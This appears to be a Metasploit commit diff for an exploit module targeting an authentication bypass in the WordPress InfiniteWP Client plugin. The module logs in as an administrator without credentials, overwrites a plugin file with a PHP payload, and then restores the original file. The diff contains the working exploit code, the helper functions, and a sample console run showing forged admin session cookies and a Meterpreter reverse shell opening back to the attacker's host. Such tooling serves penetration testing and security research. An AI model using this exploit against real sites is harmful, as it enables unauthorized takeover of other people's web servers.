Restore the original PLUGIN_FILE contents

This commit is contained in:
William Vu
2020-01-18 13:51:54 -06:00
parent cbd949927d
commit 972cb545f0
4 changed files with 103 additions and 19 deletions
@@ -2,7 +2,14 @@
This module exploits an authentication bypass in the WordPress
InfiniteWP Client plugin to log in as an administrator and execute
arbitrary PHP code. A valid administrator username is required.
arbitrary PHP code by overwriting the file specified by `PLUGIN_FILE`.
The module will attempt to retrieve the original `PLUGIN_FILE` contents
and restore them after payload execution. If `VerifyContents` is set,
which is the default setting, the module will check to see if the
restored contents match the original.
Note that a valid administrator username is required for this module.
## Setup
@@ -19,11 +26,22 @@ Id Name
## Options
**USERNAME**
Set this to a known, valid administrator username. Authentication will
be bypassed for this user.
**PLUGIN_FILE**
Set this to a plugin file to insert the payload into, relative to the
plugins directory, which is normally `/wp-content/plugins`. The file
must exist and be writable by the web user. It will be overwritten.
must exist and be writable by the web user. It will be overwritten and
later restored.
**VerifyContents**
Verify that the restored contents of `PLUGIN_FILE` match the original.
This is the default setting.
## Usage
@@ -34,20 +52,29 @@ msf5 exploit(unix/webapp/wp_infinitewp_auth_bypass) > run
[*] Found version 1.9.4.4 in the custom file
[*] Bypassing auth for admin at http://127.0.0.1:8080/
[+] Successfully obtained cookie for admin
[*] Cookie: wordpress_37d007a56d816107ce5b52c10342db37=admin%7C1579485087%7CINVpiM6qkCHdJYwQ6NacqF266nGBG7I9sRz9jgeSYMl%7C16a01e62816ac417c021215bd344ec9fa7a8ff49125f949019fdc89623131ef5; wordpress_37d007a56d816107ce5b52c10342db37=admin%7C1579485087%7CINVpiM6qkCHdJYwQ6NacqF266nGBG7I9sRz9jgeSYMl%7C16a01e62816ac417c021215bd344ec9fa7a8ff49125f949019fdc89623131ef5; wordpress_logged_in_37d007a56d816107ce5b52c10342db37=admin%7C1579485087%7CINVpiM6qkCHdJYwQ6NacqF266nGBG7I9sRz9jgeSYMl%7C9c1dd6506b08207bd81ee38a4cf7c9a0260ff7bbf4aec52d1a8ebd32a4d2f47e; wordpress_sec_37d007a56d816107ce5b52c10342db37=admin%7C1579485087%7CG6fm34loHaQrpkXc8eFGFcGXdaagX1MetNPuZM4cgGr%7C7b6635d34187a7f931e9e101cf6868916329730829ece06be5a9d12ad9fc94f3; wordpress_sec_37d007a56d816107ce5b52c10342db37=admin%7C1579485087%7CG6fm34loHaQrpkXc8eFGFcGXdaagX1MetNPuZM4cgGr%7C7b6635d34187a7f931e9e101cf6868916329730829ece06be5a9d12ad9fc94f3; wordpress_logged_in_37d007a56d816107ce5b52c10342db37=admin%7C1579485087%7CG6fm34loHaQrpkXc8eFGFcGXdaagX1MetNPuZM4cgGr%7C9a91c6c80d74d0836ed69e55de3aab4a13e003f2004a982c0997cc46b8b80226;
[*] Editing payload into /wp-content/plugins/index.php
[*] Acquired a plugin edit nonce: 8586e26cd9
[*] Cookie: wordpress_37d007a56d816107ce5b52c10342db37=admin%7C1579553438%7COxBLq33okE0wpLhPExpGTmYwiVFKf9lxPMikSWH9Gzf%7C52db8d17e2e078af4cc32f7c50a36114c2c325c031f3e10dc7bea303c7dba604; wordpress_37d007a56d816107ce5b52c10342db37=admin%7C1579553438%7COxBLq33okE0wpLhPExpGTmYwiVFKf9lxPMikSWH9Gzf%7C52db8d17e2e078af4cc32f7c50a36114c2c325c031f3e10dc7bea303c7dba604; wordpress_logged_in_37d007a56d816107ce5b52c10342db37=admin%7C1579553438%7COxBLq33okE0wpLhPExpGTmYwiVFKf9lxPMikSWH9Gzf%7C44ecac44335ad633ea98045a7085c4947fee015b700b8b7d9463dd44d2388bb2; wordpress_sec_37d007a56d816107ce5b52c10342db37=admin%7C1579553438%7C1h94K6uHKvFtqDB7jrIthpauRgc3eavVak6DVOjAHn3%7C9dfc5a01eb1df39b91ec09823e0b44e9a36490a096f5205dc2209664f689bdc9; wordpress_sec_37d007a56d816107ce5b52c10342db37=admin%7C1579553438%7C1h94K6uHKvFtqDB7jrIthpauRgc3eavVak6DVOjAHn3%7C9dfc5a01eb1df39b91ec09823e0b44e9a36490a096f5205dc2209664f689bdc9; wordpress_logged_in_37d007a56d816107ce5b52c10342db37=admin%7C1579553438%7C1h94K6uHKvFtqDB7jrIthpauRgc3eavVak6DVOjAHn3%7C240d956e7a43f2ed3193171df429c8a8fb9ba3bac2f9805cdf88789f90a186df;
[*] Retrieving original contents of /wp-content/plugins/index.php
[+] Successfully retrieved original contents of /wp-content/plugins/index.php
[*] Contents:
<?php
// Silence is golden.
[*] Overwriting /wp-content/plugins/index.php with payload
[*] Acquired a plugin edit nonce: 9901ed8f55
[*] Edited plugin file index.php
[+] Successfully edited payload into /wp-content/plugins/index.php
[+] Successfully overwrote /wp-content/plugins/index.php with payload
[*] Requesting payload at /wp-content/plugins/index.php
[*] Restoring original contents of /wp-content/plugins/index.php
[*] Sending stage (38288 bytes) to 192.168.56.1
[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.1:49273) at 2020-01-17 19:51:27 -0600
[*] Acquired a plugin edit nonce: 9901ed8f55
[*] Edited plugin file index.php
[+] Current contents of /wp-content/plugins/index.php match original!
[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.1:58534) at 2020-01-18 14:50:39 -0600
meterpreter > getuid
Server username: www-data (33)
meterpreter > sysinfo
Computer : 4d173f97f00b
OS : Linux 4d173f97f00b 4.9.184-linuxkit #1 SMP Tue Jul 2 22:58:16 UTC 2019 x86_64
Computer : 4e8791809581
OS : Linux 4e8791809581 4.9.184-linuxkit #1 SMP Tue Jul 2 22:58:16 UTC 2019 x86_64
Meterpreter : php/linux
meterpreter >
```
+3 -3
View File
@@ -44,10 +44,10 @@ module Msf::Exploit::Remote::HTTP::Wordpress::Admin
# Edits a plugin file (relative to plugins dir) using a valid admin session.
#
# @param file [String] The plugin file to edit (relative to plugins dir)
# @param content [String] The plugin file content as a string (OVERWRITES!)
# @param contents [String] The plugin file contents to overwrite with
# @param cookie [String] A valid admin session cookie
# @return [Boolean] true on success, false on error
def wordpress_edit_plugin(file, content, cookie)
def wordpress_edit_plugin(file, contents, cookie)
unless (nonce = wordpress_helper_get_plugin_edit_nonce(cookie, file))
vprint_error('Failed to acquire the plugin edit nonce')
return false
@@ -69,7 +69,7 @@ module Msf::Exploit::Remote::HTTP::Wordpress::Admin
'_wpnonce' => nonce,
'file' => file,
'action' => 'update',
'newcontent' => content
'newcontent' => contents
}
)
@@ -169,4 +169,26 @@ module Msf::Exploit::Remote::HTTP::Wordpress::Helpers
)
end
# Helper method to retrieve plugin file contents.
#
# @param cookie [String] A valid admin session cookie
# @param file [String] The plugin file to retrieve (relative to plugins dir)
# @return [String,nil] The contents, nil on error
def wordpress_helper_get_plugin_file_contents(cookie, file)
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(wordpress_url_backend, 'plugin-editor.php'),
'cookie' => cookie,
'vars_get' => {'file' => file}
)
return unless res && res.code == 200
contents = res.get_html_document.at('//textarea[@name = "newcontent"]')
return unless contents
contents.text
end
end
@@ -5,7 +5,7 @@
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
Rank = ManualRanking
include Msf::Exploit::Remote::HTTP::Wordpress
@@ -15,7 +15,14 @@ class MetasploitModule < Msf::Exploit::Remote
'Description' => %q{
This module exploits an authentication bypass in the WordPress
InfiniteWP Client plugin to log in as an administrator and execute
arbitrary PHP code. A valid administrator username is required.
arbitrary PHP code by overwriting the file specified by PLUGIN_FILE.
The module will attempt to retrieve the original PLUGIN_FILE contents
and restore them after payload execution. If VerifyContents is set,
which is the default setting, the module will check to see if the
restored contents match the original.
Note that a valid administrator username is required for this module.
},
'Author' => [
'WebARX', # Discovery
@@ -43,7 +50,8 @@ class MetasploitModule < Msf::Exploit::Remote
])
register_advanced_options([
OptBool.new('ForceExploit', [false, 'Override check result', false])
OptBool.new('ForceExploit', [false, 'Override check result', false]),
OptBool.new('VerifyContents', [false, 'Verify file contents', true])
])
end
@@ -104,18 +112,45 @@ class MetasploitModule < Msf::Exploit::Remote
print_good("Successfully obtained cookie for #{username}")
vprint_status("Cookie: #{cookie}")
print_status("Editing payload into #{plugin_uri}")
unless wordpress_edit_plugin(plugin_file, payload.encoded, cookie)
fail_with(Failure::UnexpectedReply, "Could not edit #{plugin_uri}")
print_status("Retrieving original contents of #{plugin_uri}")
og_contents = wordpress_helper_get_plugin_file_contents(cookie, plugin_file)
unless og_contents
fail_with(Failure::UnexpectedReply, "Could not retrieve #{plugin_uri}")
end
print_good("Successfully edited payload into #{plugin_uri}")
print_good("Successfully retrieved original contents of #{plugin_uri}")
vprint_status('Contents:')
print(og_contents)
print_status("Overwriting #{plugin_uri} with payload")
unless wordpress_edit_plugin(plugin_file, payload.encoded, cookie)
fail_with(Failure::UnexpectedReply, "Could not overwrite #{plugin_uri}")
end
print_good("Successfully overwrote #{plugin_uri} with payload")
print_status("Requesting payload at #{plugin_uri}")
send_request_cgi({
'method' => 'GET',
'uri' => plugin_uri
}, 0)
ensure
print_status("Restoring original contents of #{plugin_uri}")
unless wordpress_edit_plugin(plugin_file, og_contents, cookie)
fail_with(Failure::UnexpectedReply, "Could not restore #{plugin_uri}")
end
return unless datastore['VerifyContents']
contents = wordpress_helper_get_plugin_file_contents(cookie, plugin_file)
unless contents == og_contents
fail_with(Failure::UnexpectedReply,
"Current contents of #{plugin_uri} DO NOT match original!")
end
print_good("Current contents of #{plugin_uri} match original!")
end
end